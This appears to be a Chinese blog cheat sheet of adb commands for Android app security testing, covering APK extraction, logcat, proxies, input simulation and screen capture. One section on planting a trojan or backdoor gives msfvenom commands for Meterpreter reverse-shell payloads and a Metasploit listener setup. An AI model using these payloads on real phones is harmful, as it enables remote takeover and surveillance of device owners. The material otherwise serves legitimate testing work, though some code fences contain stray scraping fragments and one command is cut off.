在做APP安全测试时（Android端）除了业务逻辑，也会经常要用一些adb命令，在此记录一下。

adb下载地址

https://adbshell.com/downloads

Android SDK 平台工具软件包（含adb，有windows、Linux、MacOS版本）

https://developer.android.google.cn/studio/releases/platform-tools

一些思路小记

1、提取apk文件

```
x
# 1.获取当前屏幕上正在运行的APP的包名和类名(获取包名)
adb shell dumpsys window | grep mCurrentFocus

# 2.获取某个应用的apk路径
adb shell pm path <pkg>

# 3.让adb获得root权限
adb root

# 4.提取apk文件到本地
adb pull <apk-path> <local-path>
# 如提取到当前目录(./也可以省略不写):
adb pull /system/priv-app/Settings/Settings.apk ./
```

2、查看logcat日志信息

首推 **Android Device Monitor**，很好用（界面化工具），可进行日志筛选、查找、导出等。

Tips:Android Device Monitor 已在Android Studio 3.1及以上版本中弃用，可自行下载 Android SDK 平台工具软件包 。

```
xxxxxxxxxx
# Android Device Monitor启动脚本路径
<android-sdk-path>\tools\monitor.bat
```

然后就是通过命令来看了

1. 查看指定进程号的logcat日志 (**推荐使用此方法**，看到的日志比较全)

```
xxxxxxxxxx
# 根据包名、服务名查找PID（一个APP可能会有多个进程）
adb shell ps |grep <关键字：可以是包名、服务名等>
# 查看指定进程号的logcat日志
adb logcat --pid=<PID>
```

2. 打印从某个时间点开始的系统日志

```
xxxxxxxxxx
adb logcat -T "月-日 00:00:00.000" > <path/file-name>
# 如从6月10日12点这个时间点开始打印logcat日志
adb logcat -T "06-10 12:00:00.000" > logcat-06101200.txt
```

3. 查看指定包名的logcat日志

```
xxxxxxxxxx
# 打印指定包名的logcat日志
adb logcat | findstr <pkg>
# 输出到本地文件，按 CRTAL+C 停止。
adb logcat | findstr pkg > <path/file-name>
```

Android logcat命令详解

https://www.cnblogs.com/jianxu/p/5468839.html

使用adb logcat命令显示Android设备上的Log日志

https://blog.csdn.net/wenzhi20102321/article/details/81058196

3、启动APP的方法

1. 手动点击屏幕上的APP图标
2. 借助frida强制重启APP（使用于某些场景，如没办法去点击APP图标）

```
xxxxxxxxxx
frida -U --no-pause -f <pkg> # 只需知道包名即可，不需要知道类名
```

3. 使用adb命令启动APP

```
xxxxxxxxxx
adb shell am start -n <pkg>/<activity-name>
adb shell am start -n  <pkg>/.MainActivity
```

4、植入木马/后门

1. 查看手机CPU架构。

```
xxxxxxxxxx
adb shell cat /proc/cpuinfo
```

2. 使用msfvenom来生成木马/后门文件。

```
xxxxxxxxxx
msfvenom -a aarch64 --platform Linux -p linux/aarch64/meterperter_reverse_tcp -f elf LHOST=x.x.x.x LPORT=444 -o payload


msfvenom -p android/meterpreter/reverse_tcp lhost=x.x.x.x lport=4444 R > shell.apk
```

3. 然后放到手机中（命令略）。
4. 打开msf，进行监听。

```
xxxxxxxxxx
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST kali-ip
show options
exploit
```

5. 去手机中运行木马/后门程序（使用shell或点击app）。
6. 再去msf中看是否上线。

Tips：也可以安装其他木马/后门APP或远程协助类的APP

MSF入侵安卓手机

https://www.cnblogs.com/hkleak/p/4852057.html

一些常用的adb命令

adb执行某些操作

```
xxxxxxxxxx
#获取所有包名
adb shell pm list packages
#获取指定APP的所有信息
adb shell dumpsys package <pkg>
#打开系统设置界面
adb shell am start -n com.android.settings/com.android.settings.Settings
#打开浏览器（Android在adb shell里打开某个APP）
```

```
am start -n com.android.browser/com.android.browser.BrowserActivity
#调用浏览器打开某个网站
am start -a android.intent.action.VIEW -d https://www.baidu.com
#发短信（需手动点击发送）
adb shell am start -a android.intent.action.SENDTO -d sms:10010 --es sms_body  hello

#查询CPU架构
adb shell getprop ro.product.cpu.abi
```

启动Android四大组件

```
xxxxxxxxxx
#启动Activity组件
adb shell am start -n <pkg>/<activity-name>

#启动service组件
adb shell am startservice -n <pkg>/<service-name>

#启动broadcast receiver组件
adb shell am broadcast <pkg>/<broadcast-name>

#启动组件
adb shell am start -n <pkg>/<service-name>
```

传文件

```
xxxxxxxxxx
adb pull <手机路径> <本机路径>  # 从手机中拉取信息到本地电脑上
adb push <本机路径> <手机路径>  # 从本地电脑推送信息到手机上
adb push 1.apk  /data/local/tmp # 举例
```

adb配置wifi连接

保持手机电脑在同一个wifi。先用数据线连电脑，执行下面命令后即可拔掉数据线。

另推荐一个APP（可实现此功能）：**wifiadb**

```
xxxxxxxxxx
adb shell ifconfig wlan0 # 在连接数据线的情况下查看手机IP地址
adb tcpip 5555 # 设置端口转发
adb connect <phone-ip> #连接设备，此时可以拔掉数据线了
adb devices # 验证是否连接成功

adb disconnect <phone-ip:port> # 断开连接
```

> adb通过wifi连接android设备
>
> https://blog.csdn.net/wlly1/article/details/54912079

adb设置系统代理

设置代理

```
xxxxxxxxxx
adb shell settings put global http_proxy <代理IP地址:端口号>
adb shell settings put global http_proxy 192.168.53.99:8989 # 举例
```

移除代理

```
xxxxxxxxxx
adb shell settings delete global http_proxy && adb shell settings delete global global_http_proxy_host && adb shell settings delete global global_http_pr
```

注意：移除代理后要重启手机才能生效。设置代理可以多次设置，立即生效（即覆盖）。

使用第三方apk AndroidProxySetter工具可以帮助我们使用adb命令可以快速进行wifi代理的设置和清除 GitHub地址：

https://github.com/jpkrause/AndroidProxySetter 下好apk后，安装到手机

adb install proxy-setter-debug-0.2.1.apk

设置代理

```
xxxxxxxxxx
adb shell am start -n tk.elevenk.proxysetter/.MainActivity -e host 代理IP地址 -e port 端口号 -e ssid WIFI名称 -e reset-wifi true -e key WIFI密码
```

如:

```
xxxxxxxxxx
adb shell am start -n tk.elevenk.proxysetter/.MainActivity -e host 127.0.0.1 -e port 8888 -e ssid YOUR-WIFI-NAME -e reset-wifi true -e key YOUR-WIFI-PASS
```

> adb 修改手机代理方式
>
> https://blog.csdn.net/userwyh/article/details/82430665

adb命令关闭指定APP

```
xxxxxxxxxx
adb shell am force-stop <pkg>
```

查看进程

```
xxxxxxxxxx
#查找某个进程
adb shell ps|findstr <pkg>

#杀死某个进程
adb shell am force-stop <pkg>
```

文本输入

```
xxxxxxxxxx
adb shell input text '123'
```

按键输入

```
xxxxxxxxxx
# 返回键
adb shell input keyevent BACK
# 返回键
adb shell input keyevent 4
# 电源键
adb shell input keyevent 26
# HOME 键
adb shell input keyevent 3
```

> adb命令模拟按键事件 KeyCode
>
> https://blog.csdn.net/jlminghui/article/details/39268419

模拟屏幕点击

```
xxxxxxxxxx
# x，y为坐标位置
adb shell input tap <X> <Y>
```

> ADB——模拟手机按键输入
>
> https://www.cnblogs.com/zhuminghui/p/10457755.html

截屏和录屏

```
xxxxxxxxxx
#截屏并保存在手机上的指定路径
```

```
adb shell screencap -p /storage/emulated/0/DCIM/screenhot.png

#截屏并保存在电脑上的指定路径
adb
adb exec-out screencap -p > C:\Users\administrator\Desktop\screen.png

#录屏60秒并保存在手机上的指定路径
adb shell screenrecord --bit-rate 60 /sdcard/demo.mp4

adb shell screenrecord --bit-rate 1000000 --size 2348x1080 /sdcard/demo.mp4
```

adb 截屏和录屏命令

https://blog.csdn.net/gdutxiaoxu/article/details/69802895

app自动化--Android使用adb命令录屏(上)

https://blog.csdn.net/atnanyang/article/details/86479449

Android SDK Platform Tools 下载地址（内含adb）

https://developer.android.google.cn/studio/releases/platform-tools